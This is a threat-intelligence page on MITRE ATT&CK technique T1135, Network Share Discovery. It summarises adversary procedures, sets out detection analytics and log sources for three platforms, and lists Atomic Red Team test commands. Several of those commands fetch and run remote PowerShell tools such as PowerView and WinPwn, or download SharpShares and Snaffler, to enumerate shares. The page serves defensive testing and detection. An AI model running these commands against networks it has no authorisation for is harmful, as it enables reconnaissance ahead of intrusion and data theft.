Has identified network shares using cmd.exe /c net share.1
Network Share Discovery T1135
- Tactic
- Discovery
- Platforms
- Linux, macOS, Windows
- Version
- 3.2
- Created
- 14 December 2017
- Last modified
- 24 October 2025
- Contributor
- Praetorian
Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Network Share Discovery MITRE reference T1135
16 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Enumerated network shares on victim devices.1
Has used Internet Explorer to view folders on other systems.1
Has executed net view commands for enumeration of open shares on compromised machines.12
Has used tools such as NBTscan to enumerate network shares.1
Has used net share and net view to identify network shares of interest.1
All 16 groups for this technique · 6 newest in this preview
4 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
Leviathan scanned and enumerated remote network shares in victim environments during Leviathan Australian Intrusions.1
During C0015, the threat actors executed the PowerView ShareFinder module to identify open shares.1
During Operation CuckooBees, the threat actors used the net share command as part of their advanced reconnaissance.1
During Operation Wocao, threat actors discovered network disks mounted to the system using netstat.1
All 4 campaigns for this technique
57 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Has searched for folders, subfolders and other networked or mounted drives for follow-on encryption actions.1
Has the ability to target specific network shares for encryption.1
Can identify network shares on compromised systems.1
Can discover remote shares.1
All 57 software entries for this technique · 6 newest in this preview
Offense vs defense T1135
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Network Share Discovery detection strategy DET0182
MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Behavior-chain detection for T1135 Network Share Discovery across Windows, Linux, and macOS
AN0513 · Windows
Process or script enumerates network shares via CLI (net view/net share, PowerShell Get-SmbShare/WMI) or OS APIs (NetShareEnum/ srvsvc.NetShareEnumAll RPC) → bursts of outbound SMB/RPC connections (445/139, \\host\IPC$ / srvsvc) to many hosts inside a short window → optional follow-on file listing or copy operations.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| OS API ExecutionDC0021 | etw:Microsoft-Windows-RPC | rpc_call: srvsvc.NetShareEnum / NetShareEnumAll from non-admin or unusual processes |
| Process CreationDC0032 | WinEventLog:Security | EventCode=4688 |
| Named Pipe MetadataDC0048 | WinEventLog:Sysmon | EventCode=17 |
| Command ExecutionDC0064 | WinEventLog:PowerShell | EventCode=4103, 4104, 4105, 4106 |
| Network Connection CreationDC0082 | WinEventLog:Sysmon | EventCode=3, 22 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| BurstHostThreshold | Minimum number of unique destination hosts over SMB within TimeWindow to treat as scanning (e.g., ≥5). |
| TimeWindow | Correlation window between the discovery process start and SMB fan-out (default 10m). |
| AllowedDiscoveryAccounts | Service/admin accounts legitimately running inventory scripts. |
| PipeNameAllowList | Pipes (e.g., \PIPE\spoolss) normally accessed by management agents; exclude from alerts. |
AN0514 · Linux
CLI tools (smbclient -L, smbmap, rpcclient, nmblookup) or custom scripts enumerate SMB shares on many internal hosts → corresponding SMB connections (445/139) captured by Zeek/Netflow within a short window.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| OS API ExecutionDC0021 | NSM:Flow | smb_command: TreeConnectAndX to \\*\IPC$ / srvsvc or Trans2/NT_CREATE for listing shares |
| Process CreationDC0032 | auditd:SYSCALL | execve of smbclient, smbmap, rpcclient, nmblookup, crackmapexec smb |
| Network Connection CreationDC0082 | NSM:Flow | connection: TCP connections to ports 139/445 to multiple hosts |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| BurstHostThreshold | Minimum unique hosts to flag (e.g., ≥5). |
| TimeWindow | Correlation window between tool exec and SMB fan-out (default 10m). |
| ApprovedInventoryHosts | IPs of vulnerability scanners or config mgmt systems. |
AN0515 · macOS
Use of native/mac tools (sharing -l, smbutil view, mount_smbfs) or scripts to enumerate SMB shares across many hosts, followed by outbound SMB connections observed in PF/Zeek logs.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | macos:endpointsecurity | ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of "sharing -l", "smbutil view", "mount_smbfs" |
| Command ExecutionDC0064 | macos:unifiedlog | Command line contains smbutil view //, mount_smbfs // |
| Network Traffic FlowDC0078 | NSM:Firewall | Outbound connections to 139/445 to multiple destinations |
| Network Connection CreationDC0082 | NSM:Flow | connection: SMB connections to multiple internal hosts |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| BurstHostThreshold | Minimum unique SMB destinations (e.g., ≥3–5 in smaller mac fleets). |
| TimeWindow | Correlation window between exec and SMB connections (default 10m). |
| AllowedMgmtTools | Jamf/IT scripts legitimately running smbutil/mount_smbfs. |
Enable Windows Group Policy “Do Not Allow Anonymous Enumeration of SAM Accounts and Shares” security setting to limit users who can enumerate network shares.
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Network Share Discovery | macos | sh | — | — | — | ||||||||||||||
Network Share Discovery Input arguments
Attack command df -aH
smbutil view -g //#{computer_name}
showmount #{computer_name}
GUID7bf55b34-47f4-44a5-a49b-40b4c895c64d | ||||||||||||||||||||
| 02 | Network Share Discovery - linux | linux | bash | Required | 1 | — | ||||||||||||||
Network Share Discovery using smbstatus Input arguments
Attack command smbstatus --shares Prerequisite Package with smbstatus (samba) must exist on device Check if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
Satisfy #{package_installer}
GUID2e05cdf5-3f36-4a08-802a-e87943337735 | ||||||||||||||||||||
| 03 | Network Share Discovery - FreeBSD | linux | sh | Required | 1 | — | ||||||||||||||
Network Share Discovery using smbstatus Input arguments
Attack command smbstatus --shares Prerequisite Package with smbstatus (samba) must exist on device Check if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
Satisfy #{package_installer}
GUID7a1f1900-c173-498a-91f1-efc939afe4c1 | ||||||||||||||||||||
| 04 | Network Share Discovery command prompt | windows | cmd | — | — | — | ||||||||||||||
Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host Upon execution available network shares will be displayed in the powershell session Input arguments
Attack command net view \\#{computer_name}
GUID4039dcdf-757c-4dd7-9ec9-8c73d9ec2769 | ||||||||||||||||||||
| 05 | Network Share Discovery PowerShell | windows | PowerShell | — | — | — | ||||||||||||||
Network Share Discovery utilizing PowerShell. The computer name variable may need to be modified to point to a different host Upon execution, available network shares will be displayed in the powershell session Attack command get-smbshare GUID249a9808-1c6f-4cd1-bbe6-3baee74950f6 | ||||||||||||||||||||
| 06 | View available share drives | windows | cmd | — | — | — | ||||||||||||||
View information about all of the resources that are shared on the local computer Upon execution, available share drives will be displayed in the powershell session Attack command net share GUID5705cb1d-1465-4e67-a86c-bf7c7124e4eb | ||||||||||||||||||||
| 07 | Share Discovery with PowerView | windows | PowerShell | — | 1 | — | ||||||||||||||
Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed. Attack command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose Prerequisite Endpoint must be joined to domain Check if ((Get-WmiObject -Class Win32_ComputerSystem).PartofDomain) {exit 0} else {exit 1}
Satisfy "Join system to domain" GUID97028f02-1d02-4e68-beb4-84c1766a857b | ||||||||||||||||||||
| 08 | PowerView ShareFinder | windows | PowerShell | — | 1 | — | ||||||||||||||
PowerView is a PowerShell tool to gain network situational awareness on Windows domains. ShareFinder finds (non-standard) shares on machines in the domain. Input arguments
Attack command Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"
Invoke-ShareFinder #{parameters}
Prerequisite Invoke-ShareFinder module must exist in %TEMP% directory Check if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://raw.githubusercontent.com/darkoperator/Veil-PowerView/8784e33f17ee7543ba2f45e27dc5f08ea3a1b856/PowerView/powerview.ps1" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1" GUIDb2ef01ba-53e6-4b32-98e4-c9cd2e435652 | ||||||||||||||||||||
| 09 | WinPwn - shareenumeration | windows | PowerShell | — | — | — | ||||||||||||||
Network share enumeration using the shareenumeration function of WinPwn Attack command iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
shareenumeration -noninteractive -consoleoutputGUIDf392cf66-85ca-45a1-a0ae-33f5cd315e5e | ||||||||||||||||||||
| 10 | Network Share Discovery via dir command | windows | cmd | — | — | — | ||||||||||||||
Network Share Discovery utilizing the dir command prompt. The computer ip variable may need to be modified to point to a different host ip Upon execution available network shares will be displayed in the commandline session Input arguments
Attack command dir \\#{computer_ip}\c$
dir \\#{computer_ip}\admin$
dir \\#{computer_ip}\IPC$
GUIDe061671d-c73a-40e8-8358-905470878429 | ||||||||||||||||||||
| 11 | Enumerate All Network Shares with SharpShares | windows | PowerShell | — | 1 | Yes | ||||||||||||||
SharpShares is a command line tool that can be integrated with Cobalt Strike's execute-assembly module, allowing for the enumeration of network shares. This technique has been utilized by various ransomware groups, including BianLian. Reference Input arguments
Attack command cmd /c '#{sharp_path}' /ldap:all | out-file -filepath "#{output_path}"Cleanup command remove-item "#{output_path}" -force -erroraction silentlycontinuePrerequisite The SharpShares executable must exist on disk Check if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\SharpShares.exe") {exit 0} else {exit 1}Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/mitchmoser/SharpShares/releases/download/v2.4/SharpShares.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\SharpShares.exe" GUIDc0ae7a1a-63eb-4eca-8112-5e269589f7f0 | ||||||||||||||||||||
| 12 | Enumerate All Network Shares with Snaffler | windows | PowerShell | — | 1 | Yes | ||||||||||||||
Snaffler is an open-source tool that has been used by various threat groups, including Scattered Spider/Muddled Libra, to enumerate accessible shares and credential-containing files within a domain. Reference Input arguments
Attack command invoke-expression 'cmd /c start powershell -command { cmd /c "#{snaffler_path}" -a -o "#{output_path}" }; start-sleep 90; stop-process -name "snaffler"'
Cleanup command remove-item "#{output_path}" -force -erroraction silentlycontinuePrerequisite The Snaffler executable must exist on disk Check if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Snaffler.exe") {exit 0} else {exit 1}Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/SnaffCon/Snaffler/releases/download/1.0.150/Snaffler.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Snaffler.exe" GUID030eed35-91c5-4aca-b117-93cf346a8c2d | ||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition